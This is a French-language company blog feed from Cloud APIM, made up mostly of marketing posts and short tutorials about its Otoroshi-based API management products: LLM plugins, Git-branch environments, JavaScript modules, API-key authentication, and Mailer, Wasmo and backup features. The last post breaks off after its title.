https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh

🚀 Lancez-vous dès maintenant

Prêt à vous lancer avec Cloud APIM Serverless ?

Inscrivez-vous dès maintenant et faites le premier pas vers un API management sécurisé et efficace !

📡 Restez informé

Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de Cloud APIM Serverless et de l’API management.

🏢 À propos de Cloud APIM

🤖 L'IA dans votre API gateway : découvrez l'extension LLM d'Otoroshi pour plus d'efficacité et de sécurité 🚀

Thomas Delafaye — Mon, 08 Jul 2024 08:12:46 GMT

Introduction aux AI gateways

Les API gateways sont incontournables dans les architectures modernes. Elles gèrent le trafic entre vos services, contrôlent le trafic à destination de vos applications et de vos API, etc.

Mais et si elles pouvaient faire plus ?

🌟 L’IA peut transformer votre API gateway et la rendre plus intelligente et plus efficace.

LLM + API Gateway = AI Gateway ❤️

Chez Cloud APIM, nous avons créé un ensemble de plugins LLM (Large Language Model) pour Otoroshi, le reverse proxy et la solution d’API management open source, afin de connecter votre API à un LLM et de profiter de ses capacités.

Ces plugins seront très bientôt open source ! Restez à l’écoute.

Dans ce court article, nous allons voir comment l’IA peut vous aider dans de nombreux cas : ajouter du contexte à votre API, créer des templates de prompts, anonymiser des données, et bien plus encore !

💡 Intelligence contextuelle

L’IA apporte une intelligence contextuelle. Elle comprend le contexte de vos requêtes d’API. Résultat : des réponses plus intelligentes et plus pertinentes.

Vos API gagnent en efficacité.

L’IA peut analyser des tendances et anticiper les besoins des utilisateurs, ce qui améliore l’expérience utilisateur dans son ensemble.

Un routage qui tient compte du contexte garantit que les bonnes données sont livrées au bon moment, ce qui réduit la latence et améliore les performances.

🛠️ Templates de prompts dynamiques

L’IA rend possibles les templates de prompts dynamiques.

Les templates s’ajustent en fonction des données en temps réel.

Les workflows complexes s’en trouvent simplifiés. C’est la personnalisation dans ce qu’elle a de meilleur.

Des prompts pilotés par l’IA peuvent guider les utilisateurs dans des processus complexes, réduire les erreurs et améliorer leur satisfaction.

Grâce aux templates dynamiques, vos API s’adaptent à la volée et proposent des interactions sur mesure, sans intervention manuelle.

🕵️‍♂️ Mieux protéger les données grâce à l’anonymisation par l’IA 🔒

L’anonymisation des données est un élément essentiel de la gestion moderne des données, en particulier dans le contexte des API gateways.

Les techniques d’anonymisation fondées sur l’IA offrent des méthodes avancées pour protéger les informations sensibles tout en préservant l’utilité des données.

En intégrant ces techniques à votre API gateway, vous renforcez la confidentialité, assurez votre conformité et préservez la confiance de vos utilisateurs.

Adoptez l’anonymisation par l’IA pour protéger vos données et en exploiter tout le potentiel de manière responsable.

🌍 Des cas d’usage concrets

L’IA dans les API gateways, ce n’est pas que de la théorie.

Partout dans le monde, des entreprises mettent en œuvre ces solutions.

Les plateformes d’e-commerce, par exemple, utilisent l’IA pour personnaliser l’expérience d’achat.

Les services financiers s’appuient sur l’IA pour détecter la fraude.

Les acteurs de la santé utilisent l’IA pour gérer les données des patients en toute sécurité.

Les possibilités sont infinies.

🚀 Perspectives

L’avenir de l’IA dans les API gateways s’annonce prometteur.

Avec les progrès continus, on peut s’attendre à des fonctionnalités encore plus sophistiquées.

Analyse prédictive améliorée, intégrations plus poussées, automatisation plus intelligente : tout cela se profile à l’horizon.

Suivre ces tendances vous permettra de garder un API management à la pointe.

✨ Conclusion

L’IA transforme les API gateways en leur apportant intelligence, sécurité et efficacité.

Envie de révolutionner votre API management ?

Intégrez l’IA à votre gateway dès aujourd’hui ! 🚀

✨ Avec l’IA, votre API gateway n’est plus un simple gestionnaire de trafic, mais un outil puissant au service de l’innovation et de la croissance.

Pour vous aider à prendre en main nos nouveaux plugins, nous avons créé une playlist YouTube qui regroupe toutes nos vidéos sur l’AI gateway.

https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh

## **🚀** Mettez dès maintenant de l'IA dans votre API gateway !

Si vous souhaitez utiliser les plugins d’IA disponibles pour Otoroshi, vous pouvez le faire dès aujourd’hui via nos deux offres : les instances Otoroshi managées et les projets Serverless.

En plus de ces plugins, vous aurez accès à plus de 50 autres plugins pour personnaliser et gérer vos API !

Inscrivez-vous dès maintenant et faites le premier pas vers un API management sécurisé et efficace !

📡 Restez à l’écoute

Suivez notre blog pour découvrir les dernières nouveautés, nos astuces et nos bonnes pratiques autour de Cloud APIM Serverless et de l’API management.

🏢 À propos de Cloud APIM

Cloud APIM propose des solutions managées de pointe pour l’API management, qui permettent aux entreprises d’exploiter tout le potentiel de leurs API, simplement et efficacement. Notre engagement envers l’innovation et l’excellence nous pousse à offrir à nos clients les outils les plus avancés et des services qui les aident à mener à bien leur transformation numérique.

🌍 Gérer plusieurs environnements de projet avec Cloud APIM Serverless 🚀

Thomas Delafaye — Thu, 20 Jun 2024 07:08:08 GMT

Dans le développement logiciel moderne, maintenir des environnements séparés est essentiel pour garantir la qualité et la stabilité.

Cloud APIM Serverless s’appuie sur la puissance de GitOps pour vous aider à gérer ces environnements, en permettant d’associer facilement chaque environnement à une branche Git spécifique.

Dans cet article, nous verrons à quoi servent les environnements et comment les utiliser.

### 🌍 **Pourquoi utiliser plusieurs environnements ?**

Utiliser plusieurs environnements vous permet de :

Tester vos modifications en toute sécurité : validez les nouvelles fonctionnalités et les correctifs dans un environnement maîtrisé avant qu’ils n’arrivent en production.
Garantir la stabilité : isolez la production des activités de développement et de test pour limiter le risque d’introduire des bugs.
Faciliter la collaboration : permettez à plusieurs équipes de travailler en parallèle sans se marcher sur les pieds.

🚀 Mettre en place plusieurs environnements de projet

Créez des branches Git distinctes :
- Commencez par créer, dans votre dépôt Git, une branche distincte pour chaque environnement, par exemple development, staging et production.
- Assurez-vous que chaque branche reflète l’état de l’environnement correspondant.
Configurez les environnements dans Cloud APIM Serverless :
- Connectez-vous à votre tableau de bord Cloud APIM Serverless.
- Rendez-vous dans la section “Projects” et sélectionnez votre projet.
- Cliquez sur “Environments” et ajoutez de nouveaux environnements pour le staging et la production. Vous pouvez les nommer comme bon vous semble.
- À la création de votre projet, un environnement ’ sandbox ’ est créé par défaut. C’est un environnement de développement : vous pouvez l’associer à votre branche development.
Associez les branches Git aux environnements :
- Pour chaque environnement, configurez la branche Git correspondante :
  - Sélectionnez l’environnement (par exemple production).
  - Associez l’environnement à la branche production de votre dépôt Git.
  - Répétez l’opération pour tous vos environnements, en associant chacun à sa branche.

🌟 Les avantages d’environnements séparés

Isolation des modifications : des environnements séparés vous permettent de tester de nouvelles fonctionnalités, des mises à jour ou des correctifs de manière isolée, sans toucher à l’environnement de production.

Cette isolation aide à détecter les bugs et les problèmes au plus tôt, ce qui réduit le risque de les introduire en production.
Réduction des risques : en séparant les environnements, vous limitez l’impact d’éventuelles perturbations.

Les problèmes rencontrés dans l’environnement development ou staging peuvent être résolus sans impact pour les utilisateurs finaux, ce qui préserve la stabilité et la fiabilité de l’environnement production.
Sécurité : des environnements séparés vous aident aussi à rester en conformité avec les exigences réglementaires, en garantissant que les données sensibles ne sont utilisées que dans les environnements appropriés.

Ils renforcent également la sécurité en restreignant l’accès aux données et aux systèmes de production, ce qui réduit le risque de modifications non autorisées ou de fuites de données.

🎉 Conclusion

Gérer plusieurs environnements à l’aide de branches Git dans Cloud APIM Serverless améliore votre workflow de développement et garantit un passage fluide et fiable du développement à la production.

En vous appuyant sur les pratiques GitOps, vous pouvez automatiser vos déploiements, garantir la cohérence et fluidifier la collaboration au sein de votre équipe.

Commencez dès aujourd’hui à intégrer plusieurs environnements dans votre projet Cloud APIM Serverless et profitez des avantages d’une solution d’API management robuste, efficace et scalable.

🚀 Lancez-vous dès maintenant

Envie de vous lancer avec Cloud APIM Serverless ?

Inscrivez-vous dès maintenant et faites le premier pas vers un API management sécurisé et efficace !

📡 Restez à l’écoute

Suivez notre blog pour découvrir les dernières nouveautés, nos astuces et nos bonnes pratiques autour de Cloud APIM Serverless et de l’API management.

🏢 À propos de Cloud APIM

🛠️ Libérez la puissance des API gateways programmables : personnalisez vos API avec des modules JavaScript

Mathieu Ancelin — Thu, 13 Jun 2024 09:28:13 GMT

Parfois, les API existantes sont bien pensées et bien conçues ; parfois, les clients sont souples et savent s’adapter aux réponses de l’API.

Et parfois, tout part de travers…

Dans ces cas-là, pouvoir tout personnaliser à un endroit central, pour que tout le monde y trouve son compte, peut vraiment vous sauver la mise.

🚀 C’est pourquoi nous sommes ravis de vous présenter notre nouvelle fonctionnalité : les modules JavaScript

Cette nouvelle fonctionnalité de Cloud APIM Serverless permet aux développeurs d’adapter leurs API exactement à leurs besoins.

### **🤔 Que sont les modules JavaScript ?**

🔄 Les modules JavaScript sont des blocs de code réutilisables, écrits en JavaScript, que vous pouvez facilement intégrer à vos API.

Ces modules encapsulent une fonctionnalité précise (validation de données, transformation, logique métier sur mesure…) et vous permettent d’enrichir et d’étendre les capacités de vos API.

💡 Pourquoi intégrer des modules JavaScript ?

Avec les modules JavaScript, vous êtes libre de personnaliser chaque aspect de votre API.

Qu’il s’agisse d’implémenter des règles de validation complexes, de transformer des formats de données ou de vous intégrer à des services externes, les modules JavaScript offrent une solution souple et puissante.

En vous appuyant sur des modules existants ou en créant les vôtres, vous accélérez le développement et simplifiez la maintenance, tout en préservant la scalabilité et la fiabilité de vos API.

🌟 Les principaux avantages des modules JavaScript

Flexibilité : les modules JavaScript vous permettent d’adapter vos API aux besoins spécifiques de vos applications et de vos utilisateurs.

Réutilisabilité : réutilisez les mêmes modules sur plusieurs API pour gagner du temps et de l’énergie lors du développement.

Scalabilité : faites monter vos API en charge sans effort grâce à une architecture modulaire et au calcul distribué.

Maintenabilité : simplifiez la maintenance et les mises à jour en encapsulant la logique dans des modules autonomes.

Innovation : expérimentez de nouvelles fonctionnalités sans perturber les API existantes, et cultivez une culture de l’innovation et de l’amélioration continue. 🚀

🏁 Premiers pas avec les modules JavaScript

Se lancer avec les modules JavaScript dans Cloud APIM Serverless, c’est simple.

Parcourez notre bibliothèque de modules prêts à l’emploi, ou créez les vôtres avec votre framework JavaScript préféré.

💻 Intégrez vos modules à vos API en toute simplicité grâce à notre interface intuitive, et exploitez dès aujourd’hui tout le potentiel de la personnalisation.

Inscrivez-vous sur Cloud APIM Serverless :

Avant de mettre en place un module JavaScript, assurez-vous d’avoir créé un projet sur Cloud APIM Serverless.

Si ce n’est pas encore fait, suivez ces étapes :
- Connectez-vous à votre tableau de bord Cloud APIM Serverless.
- Cliquez sur “New project” et saisissez le nom de votre projet.
Créez votre premier module :
- Rendez-vous dans le dossier “modules” et créez-y un nouveau fichier.
  
  Le nom de votre fichier doit se terminer par ‘.js’
  
  Par exemple, vous pouvez créer un fichier nommé ‘first-module.js’
- Copiez-collez le code suivant et modifiez-le à votre guise

exports.on_backend_call = function (ctx) {
    return fetch(`https://jsonplaceholder.typicode.com/todos`)
    .then(response => response.json())
    .then(json => {
      return {
        status: 200,
        headers: {
          'Content-Type': 'application/json'
        },
        body_json: { 
          size: json.length, 
          data: json 
        }
      }
    })
};

Associez votre module à votre route :
- Sélectionnez le fichier “openapi.json”
- Choisissez la route à laquelle vous voulez ajouter le plugin, ou créez-en une si vous n’en avez pas encore
- Dans la section ’ plugins ’, choisissez Javascript Module Plugin
- Il ne vous reste plus qu’à indiquer le nom du fichier de votre module
```
{
  "module": "/modules/first-module.js"
}
```

🎉 Conclusion

Les modules JavaScript changent la donne en matière de personnalisation d’API, avec une flexibilité, une réutilisabilité et une scalabilité inégalées.

Avec Cloud APIM Serverless, vous disposez de tous les outils pour faire passer vos API à la vitesse supérieure et offrir une expérience exceptionnelle à vos utilisateurs.

Adoptez la puissance des modules JavaScript et changez pour de bon votre façon de construire des API.

🚀 Lancez-vous dès maintenant

Envie de vous lancer avec Cloud APIM Serverless ?

Inscrivez-vous dès maintenant et faites le premier pas vers un API management sécurisé et efficace !

📡 Restez à l’écoute

Suivez notre blog pour découvrir les dernières nouveautés, nos astuces et nos bonnes pratiques autour de Cloud APIM Serverless et de l’API management.

🏢 À propos de Cloud APIM

🔒 Sécurisez vos API avec des clés d'API : premiers pas avec Cloud APIM Serverless

Mathieu Ancelin — Fri, 07 Jun 2024 08:56:32 GMT

🔑 L’authentification par clé d’API est un élément fondamental pour sécuriser vos API et contrôler l’accès à vos ressources.

Avec Cloud APIM Serverless, mettre en place l’authentification par clé d’API sur vos routes est simple et efficace.

En générant une clé d’API unique pour chaque utilisateur ou application autorisé, vous sécurisez l’accès à vos API tout en suivant et en contrôlant leur utilisation.

Dans ce guide, nous verrons comment configurer l’authentification par clé d’API sur des routes Cloud APIM Serverless, pour protéger efficacement vos API et vos données.

🤔 Qu’est-ce qu’une clé d’API ?

Les clés d’API sont des identifiants uniques transmis avec les requêtes pour authentifier l’application appelante.

Elles permettent de suivre et de contrôler l’utilisation de l’API, en garantissant que seuls les utilisateurs autorisés peuvent y accéder.

🔑 Pourquoi utiliser des clés d’API ?

🔒 Sécurité : les clés d’API font office de gardien, en restreignant l’accès à votre API et en garantissant que seules les applications autorisées peuvent interagir avec elle.
📊 Suivi de l’utilisation : les clés d’API servent de balises de suivi qui vous permettent de surveiller l’utilisation de votre API et d’obtenir des analyses précieuses sur les habitudes d’usage.
⏱️ Rate limiting : avec les clés d’API, vous pouvez imposer des limites de débit pour éviter les abus et garantir une utilisation équitable, tout en maintenant des performances optimales pour tous les utilisateurs.

🔧 Configurer des clés d’API avec Cloud APIM Serverless

🆕 Étape 1 : créer un projet Serverless

Avant de configurer des clés d’API, assurez-vous d’avoir créé une API dans Cloud APIM Serverless. Si ce n’est pas encore fait, suivez ces étapes :

Connectez-vous à votre tableau de bord Cloud APIM Serverless.
Cliquez sur « New project » et saisissez le nom de votre projet.
Choisissez GitHub comme fournisseur et forkez le modèle de projet vide

🔐 Étape 2 : activer l’authentification par clé d’API

1. Ouvrez votre fichier OpenAPI :

Dans votre tableau de bord Cloud APIM Serverless, sélectionnez l’API à sécuriser
Sélectionnez le fichier « openapi.json »
Choisissez la route sur laquelle activer l’authentification par clé d’API, ou créez-en une si vous n’en avez pas encore
- si vous souhaitez créer une route, cliquez sur « Create new route » et renseignez le chemin ‘/todos’ et la méthode ‘GET’.
  
  Ajoutez le plugin « Override host header »

2. Ajoutez le plugin d’authentification par clé d’API :

Dans la liste des plugins, cliquez sur « add plugin »
Recherchez le plugin « ApiKeys »
Vous pouvez maintenant enregistrer la configuration par défaut et pousser vos modifications sur GitHub

🔑 Étape 3 : générer des clés d’API

1. Ouvrez la section API Keys depuis votre barre d’outils :

- Dans le tableau de bord, rendez-vous dans la section « API Keys ».

2. Créez une nouvelle clé d’API :

- Cliquez sur le bouton « + » pour créer une nouvelle clé d’API

- Renseignez les informations comme le nom de la clé, ajoutez des utilisateurs comme gestionnaires, sélectionnez les environnements et définissez vos propres quotas pour chaque clé d’API

- Cliquez sur « save » pour créer la clé d’API.

🌐 Étape 4 : utiliser les clés d’API dans vos requêtes

Pour appeler votre API avec la clé d’API, cliquez sur « tools » dans votre barre d’outils, puis sélectionnez « Tests »
Sélectionnez la méthode à utiliser, le chemin de la route et la clé d’API créée précédemment
Cliquez sur le bouton « Run » pour envoyer la requête
Le corps de la réponse s’affiche en bas de la fenêtre de test

🚪 Bonnes pratiques de gestion des clés d’API

🔒 Gardez vos clés confidentielles : n’exposez jamais vos clés d’API dans des dépôts publics, du code côté client ou des emplacements non sécurisés.

🔄 Renouvelez vos clés régulièrement : régénérez périodiquement vos clés d’API pour limiter le risque de compromission.

👀 Surveillez l’utilisation : consultez régulièrement les logs d’utilisation pour détecter toute activité inhabituelle ou non autorisée.

⏱️ Appliquez des limites de débit : mettez en place du rate limiting pour protéger votre API des abus et garantir une utilisation équitable.

🎉 Conclusion

Sécuriser vos API avec des clés d’API est une étape fondamentale pour protéger vos services et garantir une utilisation efficace.

Cloud APIM Serverless simplifie la configuration et la gestion des clés d’API, avec une sécurité robuste et des analyses pertinentes.

En suivant les étapes décrites ci-dessus, vous vous assurez que vos API sont sécurisées et prêtes à l’emploi.

🚀 Lancez-vous dès maintenant

Prêt à vous lancer avec Cloud APIM Serverless ?

Inscrivez-vous dès maintenant et faites le premier pas vers un API management sécurisé et efficace !

📡 Restez informé

Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de Cloud APIM Serverless et de l’API management.

🏢 À propos de Cloud APIM

🔥 Libérez toute la puissance de l'API management avec Cloud APIM Serverless

Mathieu Ancelin — Mon, 03 Jun 2024 12:02:10 GMT

Dans un paysage technologique qui évolue à toute vitesse, un API management efficace et scalable est crucial pour les entreprises de toutes tailles.

C’est pourquoi nous sommes ravis de vous présenter Cloud APIM Serverless, notre solution de pointe conçue pour simplifier le déploiement et la gestion de vos API.

Cloud APIM Serverless vous débarrasse de la complexité d’une infrastructure traditionnelle et vous laisse vous concentrer sur l’innovation et la croissance.

Avec des fonctionnalités comme la mise en production rapide, une sécurité robuste et des analytics sur vos API, notre plateforme permet aux développeurs, aux startups, aux PME comme aux grandes entreprises de gérer efficacement leurs API et de faire décoller leur activité.

🤔 Pourquoi utiliser Cloud APIM Serverless ?

Les solutions d’API management traditionnelles impliquent souvent de gérer des serveurs, de provisionner des ressources et de relever des défis de scalabilité.

Avec notre offre Serverless, dites adieu aux casse-têtes d’infrastructure et bonjour à une expérience fluide et serverless.

Notre produit tire parti de la puissance des architectures serverless : plus besoin de gérer des serveurs à la main (pas même ceux de notre propre service d’instances Otoroshi managées 😉), et vous pouvez vous concentrer sur l’innovation plutôt que sur la maintenance de l’infrastructure.

🌟 Principales fonctionnalités et avantages

🚀 Déploiement rapide : lancez vos API en quelques minutes, pas en quelques jours. Notre interface intuitive vous permet de déployer et de gérer vos API en quelques clics.

🔧 Piloté par GitOps : au cœur de Serverless APIM se trouve une approche de l’API management pilotée par GitOps. En adoptant les principes GitOps, nous permettons aux équipes de gérer la configuration de leurs API, leurs déploiements et leur infrastructure as code via des systèmes de gestion de versions comme Git.

🌐 Environnements de projet : les environnements des projets Serverless sont intégrés de façon transparente à la gestion de versions via Git : chaque environnement peut être associé à une branche Git spécifique.

🔒 Sécurité intégrée : protégez vos API grâce aux fonctionnalités intégrées d’authentification et d’autorisation. Des clés d’API à OAuth, nous avons tout prévu.

📊 Analytics d’API : obtenez des informations précieuses sur l’utilisation de vos API, leurs performances et le comportement des utilisateurs grâce à notre tableau de bord d’analytics en temps réel. Prenez des décisions éclairées et optimisez vos API pour un impact maximal.

📚 Une documentation pensée pour les développeurs : donnez aux développeurs une documentation complète, des exemples de code et des outils interactifs. Favorisez la collaboration et accélérez l’innovation au sein de votre organisation.

📜 Intégration OpenAPI : gérez facilement les références, les schémas et les composants OpenAPI, pour garantir la cohérence et fluidifier la collaboration sur tous vos projets d’API.

💰 Monétisation des API : avec Serverless APIM, monétiser vos API ne demande aucun effort. Notre plateforme intègre les outils nécessaires pour créer des plans et définir des quotas.

🌍 À qui s’adresse cette offre ?

Que vous soyez une startup qui s’apprête à lancer sa première API ou une grande entreprise qui gère un écosystème d’API complexe, Cloud APIM Serverless est taillé pour répondre à vos besoins.

Notre solution souple et scalable s’adapte à vos exigences métier, pour que vous puissiez vous concentrer sur l’essentiel : apporter de la valeur à vos clients.

🚀 Lancez-vous dès maintenant !

Envie de découvrir l’avenir de l’API management ?

Nous lançons aujourd’hui la bêta privée de Cloud APIM Serverless. Tout le monde peut y participer : il suffit de 🚀 vous inscrire dès maintenant à la bêta en cliquant sur ce lien pour constater la différence par vous-même.

Vous pouvez aussi regarder une courte vidéo d’introduction pour apprendre à créer votre premier endpoint d’API

📡 Restez à l’écoute

Suivez notre blog pour découvrir les dernières nouveautés, nos astuces et nos bonnes pratiques autour de Cloud APIM Serverless et de l’API management.

🏢 À propos de Cloud APIM

Le plugin Mailer pour Otoroshi passe en open source : l'e-mail simplifié

Mathieu Ancelin — Fri, 12 Apr 2024 13:24:57 GMT

L’intégration de l’e-mail est un élément essentiel de nombreux services numériques, des notifications transactionnelles aux campagnes marketing. Cloud APIM est ravi d’annoncer la publication en open source d’un nouvel atout de sa suite d’outils : le plugin Mailer pour Otoroshi. Ce plugin simplifie l’envoi d’e-mails en l’intégrant directement à votre environnement Otoroshi.

L’e-mail, en toute simplicité

Le plugin Mailer change la façon dont vous envoyez des e-mails avec Otoroshi. En exposant une API REST asynchrone sur n’importe quelle route Otoroshi, il vous permet d’envoyer des e-mails en toute fluidité. Qu’il s’agisse de simples e-mails texte, de contenus HTML riches ou de messages avec pièces jointes, le plugin Mailer s’occupe de tout, sans effort.

Les fonctionnalités en un coup d’œil

API d’e-mail asynchrone : intégrez l’envoi d’e-mails sans impacter les performances de votre application principale.
Intégration SMTP flexible : connectez-vous au serveur SMTP de votre choix et utilisez librement le service d’e-mail qui correspond le mieux à vos besoins.
Contenu riche : la prise en charge des e-mails texte, HTML et des pièces jointes vous permet d’envoyer des e-mails détaillés et engageants à vos utilisateurs.
Suivi de l’activité : les événements Otoroshi intégrés au plugin vous permettent de suivre l’activité d’envoi, pour plus de transparence et un dépannage facilité.

Open source et prêt à l’emploi

Conformément à notre engagement envers la communauté open source et à la réussite de nos utilisateurs, le plugin Mailer est entièrement open source. Vous pouvez donc le modifier, l’enrichir et l’adapter à vos besoins spécifiques.

Pour commencer

Le plugin Mailer est disponible dès maintenant et s’intègre facilement à votre instance Otoroshi existante. Rendez-vous sur notre page GitHub pour télécharger le plugin, consulter les instructions d’installation détaillées et commencer à envoyer des e-mails de façon plus intégrée et plus efficace. Le plugin Mailer est déjà disponible sur vos instances Otoroshi managées par Cloud APIM.

À propos de Cloud APIM

Dynamic JavaScript Modules passe en open source

Mathieu Ancelin — Fri, 22 Mar 2024 16:06:55 GMT

Chez Cloud APIM, nous repoussons sans cesse les limites pour simplifier et améliorer l’expérience de gestion d’API de nos utilisateurs. Aujourd’hui, nous avons le plaisir d’annoncer le passage en open source d’un projet inédit, qui va révolutionner la façon dont vous créez vos plugins Otoroshi : Dynamic JavaScript Modules.

Adieu la compilation, bonjour JavaScript !

L’innovation passe souvent par la simplification. Conscients des obstacles que représente l’étape de compilation dans le développement de plugins WASM, nous avons cherché une alternative qui conserve la flexibilité sans la complexité. Dynamic JavaScript Modules est notre réponse : plus besoin de compiler, vous développez vos plugins Otoroshi directement en JavaScript.

Toute la puissance de Dynamic JavaScript Modules

Avec Dynamic JavaScript Modules, écrire et déployer vos plugins devient d’une simplicité inégalée. Que votre code JavaScript soit local, servi en HTTP/S ou écrit inline, notre nouveau projet open source s’intègre naturellement à votre workflow. Vous pouvez ainsi itérer et déployer vos plugins plus vite, en vous concentrant sur les fonctionnalités plutôt que sur le processus de build.

Fonctionnalités clés :

Aucune compilation nécessaire : lancez-vous directement dans l’écriture de vos plugins en JavaScript, sans passer par de fastidieuses étapes de compilation.
Hébergement du code flexible : que votre code se trouve sur votre serveur, soit disponible en ligne ou directement intégré à votre projet, Dynamic JavaScript Modules s’adapte à votre configuration.
Ouvert à tous : compatible avec n’importe quelle instance Otoroshi, ce projet profite à un large éventail d’utilisateurs, et pas seulement à ceux de Cloud APIM.

Déjà disponible sur Cloud APIM

Pour les utilisateurs de Cloud APIM, accéder à Dynamic JavaScript Modules est on ne peut plus simple. Cette innovation est déjà intégrée à vos instances Otoroshi Cloud APIM, prête à ouvrir de nouvelles perspectives au développement de plugins.

Rejoignez le futur du développement de plugins

En publiant Dynamic JavaScript Modules en open source, nous invitons les développeurs, les innovateurs et les rêveurs à explorer avec nous de nouveaux horizons dans la gestion d’API. Ce projet n’est pas seulement une preuve de notre engagement envers l’open source : c’est une invitation à collaborer, à innover et à créer des plugins plus dynamiques, plus efficaces et plus simples à utiliser que jamais.

Conclusion

Le passage en open source de Dynamic JavaScript Modules marque une étape importante dans notre démarche de simplification de la gestion d’API. En permettant de développer des plugins en JavaScript sans les contraintes de la compilation, nous ouvrons la voie à une innovation plus rapide et à une expérience développeur plus inclusive. Plongez dès aujourd’hui dans Dynamic JavaScript Modules et commencez à construire l’avenir des plugins d’API avec Cloud APIM.

À propos de Cloud APIM

Cloud APIM propose des solutions managées de pointe pour la gestion d’API, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients les outils et les services les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.

Cloud APIM ❤️ WASMO

Mathieu Ancelin — Fri, 08 Mar 2024 16:06:56 GMT

Dans un paysage numérique en constante évolution, le besoin de solutions d’API management robustes, scalables et efficaces n’a jamais été aussi fort. Cloud APIM a le plaisir d’annoncer un ajout majeur à son offre de services : les instances Wasmo managées. Cette nouveauté marque une étape importante dans la simplification du développement et du déploiement de plugins WebAssembly (WASM), et répond aux besoins exigeants des applications modernes.

Qu’est-ce que Wasmo ?

Wasmo est un projet open source innovant, conçu pour faciliter la vie des développeurs en simplifiant la création de modules WASM. C’est un éditeur de code en ligne capable de compiler et de builder des modules WASM, et d’en gérer le cycle de vie. Mais Wasmo est bien plus qu’un simple outil de compilation : il fait aussi office de dépôt de binaires et héberge plusieurs versions des modules WASM construits. Ces modules s’intègrent naturellement au système de plugins d’Otoroshi, ce qui apporte une flexibilité et une puissance inégalées à votre stratégie d’API management.

La difficulté de construire des modules WASM

Construire des modules WASM a longtemps été un processus complexe, qui exigeait des environnements spécialisés et une configuration délicate. Les contraintes propres au développement, à la compilation et au déploiement de ces modules freinaient fortement leur adoption, et limitaient leur usage pour enrichir des solutions d’API management comme Otoroshi.

Les instances Wasmo managées de Cloud APIM : la solution

Face à ces difficultés, Cloud APIM propose désormais des instances managées qui simplifient l’ensemble du processus de développement. Les développeurs peuvent maintenant utiliser l’interface intuitive de Wasmo directement depuis Cloud APIM et profiter de fonctionnalités comme :

Un éditeur de code en ligne simple d’utilisation pour écrire et modifier le code de vos modules WASM.
La compilation et le build à la volée des modules WASM, sans configuration locale compliquée.
Un dépôt de binaires pour versionner et distribuer les modules WASM, qui facilite leur intégration et leur déploiement.

le tout sans jamais avoir à vous soucier de la mise à jour ni de la gestion de votre instance.

Otoroshi gagne en puissance avec WASM

L’intégration des instances Wasmo managées dans l’écosystème Cloud APIM renforce considérablement les capacités d’API management d’Otoroshi. Les développeurs peuvent désormais créer et déployer facilement des plugins sur mesure écrits sous forme de modules WASM, pour des traitements, des filtrages et des transformations avancés des requêtes et des réponses d’API. De nouvelles possibilités s’ouvrent ainsi en matière de personnalisation, de sécurité et d’optimisation des performances au sein du reverse proxy et de la plateforme d’API management Otoroshi. Démarrer avec les instances Wasmo managées sur Cloud APIM est très simple : notre plateforme vous guide pas à pas dans la création d’une instance. Vous pouvez ensuite jeter un œil au dernier article d’Etienne pour bien l’utiliser.

Conclusion

Le lancement des instances Wasmo managées par Cloud APIM représente une avancée majeure pour simplifier le développement et le déploiement de modules WASM au service de l’API management. En abaissant les barrières à l’entrée et en proposant une solution puissante et intégrée, nous avons hâte de voir comment les développeurs s’empareront de cette technologie pour innover et enrichir leur stratégie d’API. Lancez-vous dès aujourd’hui et exploitez tout le potentiel de vos API avec les instances Wasmo managées de Cloud APIM.

À propos de Cloud APIM

Gardez la maîtrise de vos données avec la sauvegarde en un clic de vos clusters Otoroshi sur Cloud APIM

Mathieu Ancelin — Mon, 20 Nov 2023 23:00:00 GMT

Pour améliorer sans cesse l’expérience utilisateur et votre autonomie sur vos données, Cloud APIM a le plaisir de dévoiler un ajout important à ses fonctionnalités : la sauvegarde en un clic des clusters Otoroshi. Cette nouveauté simplifie la sauvegarde et l’export de l’état de votre Otoroshi, qui deviennent plus accessibles et plus efficaces que jamais.

L’essentiel de la sauvegarde en un clic

Jusqu’ici, pour sauvegarder votre cluster Otoroshi, il fallait vous connecter manuellement à l’instance et naviguer dans son interface pour lancer la sauvegarde. Avec notre nouvelle fonctionnalité de sauvegarde en un clic, ces étapes disparaissent. Désormais, un seul clic depuis le tableau de bord Cloud APIM suffit pour sauvegarder en toute sécurité l’intégralité de l’état de votre Otoroshi.

Les principaux avantages

Simplicité : plus besoin de vous connecter ni de lancer une sauvegarde à la main, protéger vos données devient un jeu d’enfant.
Accessibilité : votre sauvegarde est conservée dans un stockage à froid et reste disponible pendant sept jours, ce qui vous laisse largement le temps de télécharger ou de migrer vos données.
Souveraineté des données : cette fonctionnalité illustre notre engagement en faveur de la maîtrise de vos données et contre le vendor lock-in. Vous gardez le contrôle total de vos données, et pouvez y accéder et les exporter à tout moment.

Pourquoi c’est important

Rester propriétaire de ses données et pouvoir migrer ses services sans entrave est essentiel pour les entreprises qui recherchent l’indépendance opérationnelle et la sécurité. Notre sauvegarde en un clic des clusters Otoroshi vous apporte les deux, dans un outil simple à prendre en main.

Pour commencer

Activer la sauvegarde en un clic est très simple. Rendez-vous sur votre tableau de bord Cloud APIM, repérez votre instance Otoroshi et choisissez l’option de sauvegarde. C’est tout : votre sauvegarde sera prête et vous attendra dans le stockage à froid pendant une semaine.

Conclusion

La nouvelle sauvegarde en un clic des clusters Otoroshi de Cloud APIM illustre notre volonté de fournir des outils pratiques et puissants, qui renforcent la maîtrise de vos données et simplifient les tâches d’administration. Profitez-en dès aujourd’hui pour sécuriser vos données et être toujours prêt, quoi qu’il arrive.

À propos de Cloud APIM

Cloud APIM propose des solutions managées de pointe pour l’API management, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement pour l’innovation et l’excellence nous pousse à offrir à nos clients les outils les plus avancés et des services qui les aident à atteindre leurs objectifs de transformation numérique.

Nouveau : la réinitialisation du mot de passe en un clic pour vos clusters Otoroshi Cloud APIM

Mathieu Ancelin — Mon, 09 Oct 2023 22:00:00 GMT

